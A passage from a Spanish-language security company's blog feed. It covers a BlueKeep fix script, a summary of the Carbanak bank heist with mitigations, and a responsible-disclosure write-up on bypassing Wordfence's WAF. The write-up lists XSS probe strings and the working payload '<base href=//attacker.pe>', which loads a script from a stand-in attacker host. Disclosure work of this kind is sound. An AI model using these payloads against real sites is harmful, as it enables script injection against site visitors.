      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;ol&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            Descargar el script y guardarlo como fixer.bat
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            Ejecutar el CMD como administrador y ejecutar “fixer.bat NombreDelServidor” y cambiar NombreDelServidor por el servidor que quiere activar NLA. Si no sabes cual es el nombre del server que quieres actualizar, conéctate al servidor y en el cmd escribe como comando %ComputerName%.
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            Si el script se ejecutó con éxito, verán el mensaje: “Operación realizada con éxito”.
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
  &lt;/ol&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
      
                      
           En DeepSecurity nos queremos asegurar que puedas validar si tus servidores son vulnerables por lo que hemos hecho una pequeña utilidad para Windows que te permitirá con un solo click saber si tu servidor es vulnerable. Solo debes descargar la aplicación dando click aquí, en el recuadro donde dice IP poner la IP de tu servidor y dar click en validar. Se adjunta captura del checker.
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/checkerbluekeep.png" alt="Una ventana de bluekeep checker con un botón de verificación"/&gt;&#xD;
&lt;/div&gt;</content:encoded>
      <enclosure url="https://irp.cdn-website.com/210ad002/dms3rep/multi/blog-y-social-media-14-04-20_banner-1024x530+PS.jpg" length="37817" type="image/jpeg" />
      <pubDate>Tue, 14 Apr 2020 06:03:27 GMT</pubDate>
      <guid>https://www.deepsecurity.pe/analisis-de-bluekeep-en-peru</guid>
      <g-custom:tags type="string">SPAN</g-custom:tags>
      <media:content medium="image" url="https://irp.cdn-website.com/210ad002/dms3rep/multi/blog-y-social-media-14-04-20_banner-1024x530.jpg">
        <media:description>thumbnail</media:description>
      </media:content>
      <media:content medium="image" url="https://irp.cdn-website.com/210ad002/dms3rep/multi/blog-y-social-media-14-04-20_banner-1024x530+PS.jpg">
        <media:description>main image</media:description>
      </media:content>
    </item>
    <item>
      <title>Hackers: El Metódico, Paciente y Sigiloso Robo a un Banco</title>
      <link>https://www.deepsecurity.pe/hackers-el-metodico-paciente-y-sigiloso-robo-a-un-banco</link>
      <description>La empresa rumana de Ciberseguridad @Bitdefender público un nuevo caso de estudio “An APT Blueprint: Gaining New Visibility into Financial Threats“ en donde plasma la línea de tiempo y el modus operandi de la banda APT (Advanced Persistent Threat) Carbanak</description>
      <content:encoded>&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/organizacion.jpg" alt="Un diagrama de un líder de grupo con servicios técnicos y servicios monetarios."/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           La empresa rumana de Ciberseguridad @Bitdefender público un nuevo caso de estudio “An APT Blueprint: Gaining New Visibility into Financial Threats“ en donde plasma la línea de tiempo y el modus operandi de la APT (Advanced Persistent Threat) Carbanak, que es el nombre de la banda de ciberdelincuentes que perpetraron más 100 ciberataques a instituciones financieras alrededor del mundo entre el 2013 y el 2015 para robar más de 1,000 millones de euros.
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           La cronología que detalla este artículo hace referencia a un robo de un banco de Europa del Este mediante el control externo (a través de una VPN) de los sistemas internos del banco que controlan los cajeros automáticos para organizar una ola de retiros masivos.
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/cronologia-1024x535.png" alt="Un cartel que muestra una cronología de las actividades de un delincuente."/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           FASE # 1 – Phishing: todo inicia con un simple mail
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           La banda de cibercriminales envía oleadas de mails a todos los empleados del banco, sin importar en que área se desempeñen; es indiferente si el empleado es de RRHH, Ventas, IT o contabilidad; la intención es que malware ingrese para crear una puerta trasera en los sistemas infectados y poder moverse lateralmente a través de sus redes y diversos departamentos.
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           FASE # 2 – El perfil del APT (Advanced Persistent Threat) metódico, paciente y sigiloso
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           El detalle del ataque APT nos muestra que no solo un individuo es el ejecutante del ataque, sino que describe a un equipo (posiblemente mayor a 10 personas), el cual se caracteriza por ser paciente, metódico, cuidadoso y casi imperceptible en su intromisión, con habilidades técnicas que le permiten capturar las credenciales de los administradores a nivel de la memoria (mimikatz), moverse sigilosamente de manera lateral a través de la red del banco, eliminar sus rastros, diseñar exploits para insertarse en los servidores. Sin embargo, lo más resaltante, y riesgoso, se manifiesta en la gestión del tiempo, el ataque es planeado para ser paciente inicialmente en la recolección y revisión minuciosa de documentos que permiten al delincuente conocer a profundidad la operatividad del banco, para mantener la posibilidad de volver a atacarlo; y, finalmente, con la extracción o redireccionamiento de fondos.
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/organizacion.jpg" alt="Un diagrama de un líder de grupo con servicios técnicos y servicios monetarios."/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Fuente: Organization of American States.
          
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Lo cual es también es indicado en el reporte «Estado de ciberseguridad en el sector bancario en América Latina y el Caribe» de la organización de estados americanos OEA @OEA_Cyber.
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Estrategias de mitigación efectivas APT:
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Ninguna infraestructura de TIC puede ser 100% segura, pero hay niveles razonables que cada organización puede definir para reducir significativamente el riesgo de un fraude por medios digitales que podrían ser mitigado basados en estrategias básicas:
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;ul&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            Use la lista blanca de aplicaciones para evitar que se ejecuten software malintencionado y programas no autorizados.
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            Aplicación de parches, como Java, visores de PDF, Flash, navegadores web y Microsoft Office.
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            Parches de vulnerabilidades del sistema operativo.
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            Restringir los privilegios administrativos a los sistemas operativos y aplicaciones, según los roles del usuario.
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
  &lt;/ul&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           El Perú no está exento de este tipo de ataques, que no solo se pueden desarrollar en entidades financieras, sino también en empresas e-commerce, Fintech’s y entidades públicas. Por ello, Deep Security aconseja que las empresas deben capacitar no solo al personal técnico sino a todos los colaboradores en general, debido a que es vital para la continuidad del negocio que toda la organización conozca cómo reconocer posibles amenazas para poder reportarlas a los responsables. Así mismo, consideramos que es una buena práctica solicitar servicios como phishing as a services e ingeniería social con una frecuencia semestral.
          
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;</content:encoded>
      <enclosure url="https://irp.cdn-website.com/210ad002/dms3rep/multi/hacking.jpg" length="93642" type="image/jpeg" />
      <pubDate>Sun, 12 Apr 2020 06:26:06 GMT</pubDate>
      <guid>https://www.deepsecurity.pe/hackers-el-metodico-paciente-y-sigiloso-robo-a-un-banco</guid>
      <g-custom:tags type="string">Seguridad,SPAN</g-custom:tags>
      <media:content medium="image" url="https://irp.cdn-website.com/210ad002/dms3rep/multi/organizacion.jpg">
        <media:description>thumbnail</media:description>
      </media:content>
      <media:content medium="image" url="https://irp.cdn-website.com/210ad002/dms3rep/multi/hacking.jpg">
        <media:description>main image</media:description>
      </media:content>
    </item>
    <item>
      <title>Evadiendo el WAF del mejor plugin de seguridad de WordPress: "‘WordFence"</title>
      <link>https://www.deepsecurity.pe/evadiendo-el-waf-del-mejor-plugin-de-seguridad-de-wordpress-wordfence</link>
      <description>Durante un servicio de pentest web, el equipo de research de DeepSecurity se propuso crear una excepción en el WAF del plugin de seguridad más reconocido para el aseguramiento de plataformas WordPress, que actualmente protege aproximadamente a 3 millones de sitios web en el mundo, y donde pudimos identificar una vulnerabilidad de Cross-Site Scripting (XSS)</description>
      <content:encoded>&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/wordfence.jpg" alt="El logotipo de la palabra valla es azul y negro sobre un fondo blanco."/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Muchos clientes piensan que una solución de Web Application Firewall (WAF por sus siglas en inglés) es una solución total para detener ataques web, como inyecciones SQL o Cross-Site Scripting.
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Queremos compartir con nuestros seguidores cómo durante un servicio de pentest web, el equipo de research de DeepSecurity, encabezado por Camilo Galdos, se propuso crear una excepción en el WAF del plugin de seguridad más reconocido para el aseguramiento de plataformas WordPress, que actualmente protege aproximadamente a 3 millones de sitios web en el mundo, donde pudimos identificar una vulnerabilidad de Cross-Site Scripting (XSS) y bypasear al WAF de WordFence mediante el uso de URLs relativas y así explotar la vulnerabilidad en nuestro cliente.
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;h2&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           ¿Existen vulnerabilidades en WAF de WordFence?
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/h2&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Durante uno de nuestros servicios de pentesting, que es básicamente un ataque a un sistema informático que tiene la intención de encontrar las debilidades de seguridad antes que los chicos malos lo hagan, encontramos una plataforma WordPress protegida por la solución de WordFence Premium, ambas en su versión más reciente.
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Cuando comenzamos con las labores de reconocimiento (fingerprint), notamos que WordPress contaba con una plantilla (template) propia. Al iniciar la búsqueda de vulnerabilidades identificamos que era vulnerable a Cross-Site Scripting en el formulario de búsqueda.
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           En este punto empezó el reto. El WAF de Wordfence protege de forma activa las variables por método GET y hasta el momento habíamos identificado la siguiente complejidad:
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           &amp;lt;maquee&amp;gt;foo → PASS
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           &amp;lt;marquee onstart=&amp;gt;foo → BLOCK
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           &amp;lt;marquee onTest=&amp;gt;foo → BLOCK
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           &amp;lt;div width=&amp;gt;foo → PASS
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           &amp;lt;script&amp;gt;foo → BLOCK
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           &amp;lt;marquee&amp;gt;alert(1) → BLOCK
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Identificamos que el WAF bloqueaba todos los eventos (onmouseover, onstart, onclick, etc.) y no permitía el uso del tag &amp;lt;script&amp;gt;. Esto limita bastante las posibilidades de encontrar un vector válido para bypassear el WAF. Sin embargo, continuamos con el análisis para intentar evadir la protección y pudimos notar un detalle en el código fuente de la aplicación que nos resultó bastante interesante.
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Código referencial encontrado en el footer de la web:
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           &amp;lt;script src=’/static/scripts/email-validation/emailvalidation.min.js’&amp;gt; &amp;lt;/script&amp;gt;
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Como se puede visualizar en la etiqueta Script antes expuesta, se ve un link hacia un archivo Javascript llamado “emailvalidation.min.js”. El detalle importante es que, comparado con los otros scripts cargados por el sitio, este tiene una particularidad:
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           &amp;lt;script src=’/static/scripts/email-validation/emailvalidation.min.js’&amp;gt; &amp;lt;/script&amp;gt;
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           &amp;lt;script src=’https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js’&amp;gt; &amp;lt;/script&amp;gt;
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           &amp;lt;script type=’text/javascript’ src=’https://www.example.com/wp-includes/js/jquery/jquery.js?ver=3.1.4′&amp;gt; &amp;lt;/script&amp;gt;
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           &amp;lt;script type=’text/javascript’ src=’https://www.example.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.4.1′&amp;gt; &amp;lt;/script&amp;gt;
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Al revisar esto se puede identificar que uno de los links a los archivos Javascript no tiene dominio antepuesto a la ruta del servidor donde se encuentra. Según el estándar de HTML 5.3, hosteado por la W3C, cuando ninguna ruta absoluta es especificada (dominio y path) antes de llamar un elemento con fuente (src), la fuente coge el fallback URL que es valor del documento actual, es decir:
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Si cargo https://www.example.com/wordpress/ el script cargado sería el siguiente:
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            ﻿
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           https://www.example.com/wordpress/static/scripts/email-validation/emailvalidation.min.js
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            ﻿
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           La parte interesante es que el estándar también menciona un dato que llama la atención:
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Existe un tag HTML mediante el cual se puede especificar la URL base para que los otros elementos usen. Cuando hicimos la siguiente prueba de payload el WAF no saltaba:
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            ﻿
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           &amp;lt;a href=//attacker.pe&amp;gt;foo → BLOCK
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           &amp;lt;base href=//attacker.pe&amp;gt; → PASS
           
                      &#xD;
      &lt;br/&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Al inspeccionar con la consola de Chrome, se pudo apreciar lo siguiente:
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Usando el payload adecuado: &amp;lt;base href=//attacker.pe&amp;gt; hemos conseguido que todas las URLs relativas del documento apunten a un dominio de nuestro control. Dicho esto, solo nos quedó crear el path en nuestro host:
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            ﻿
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           https://attacker.pe/static/scripts/email-validation/emailvalidation.min.js
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Y al ingresar al link del XSS con nuestro payload, hemos bypasseado el WAF de Wordfence mediante URLs relativas.
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;h2&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Un caso de éxito con resultados positivos para WordFence
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/h2&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Nuestro trabajo en DeepSecurity solventó esta vulnerabilidad y adicionalmente tuvo resultados positivos en el plugin de WordFence. Además de haber reportado el bug al cliente, también se reportó el método de bypass a WordFence.
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           El equipo de WordFence respondió de forma positiva a este reporte y en un excelente tiempo, ya que en el mismo día de la notificación asignaron el caso para trabajar en su resolución. Actuaron de forma rápida para evitar que sus clientes se vieran afectados por este bypass y para ello, apenas tres días después del reporte, añadieron una nueva regla a su WAF, por lo que ahora el payload &amp;lt;base href=//url&amp;gt; es detectado como malicioso.
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Esto demuestra la importancia de contar con un servicio dedicado a la ciberseguridad que sea capaz de detectar fallos en grandes organizaciones para encontrar soluciones que mantengan a los piratas informáticos alejados de los sitios web. Esta es nuestra labor y la llevamos al punto máximo de exigencia para ofrecer resultados y calidad en cada trabajo.
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Línea de Tiempo:
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;ul&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            Conocimiento sobre el Bypass: 24 de Julio
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            Reporte a Wordfence: 31 de Julio
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            Wordfence Asigna ID 1170 al caso: 31 de Julio
           
                      &#xD;
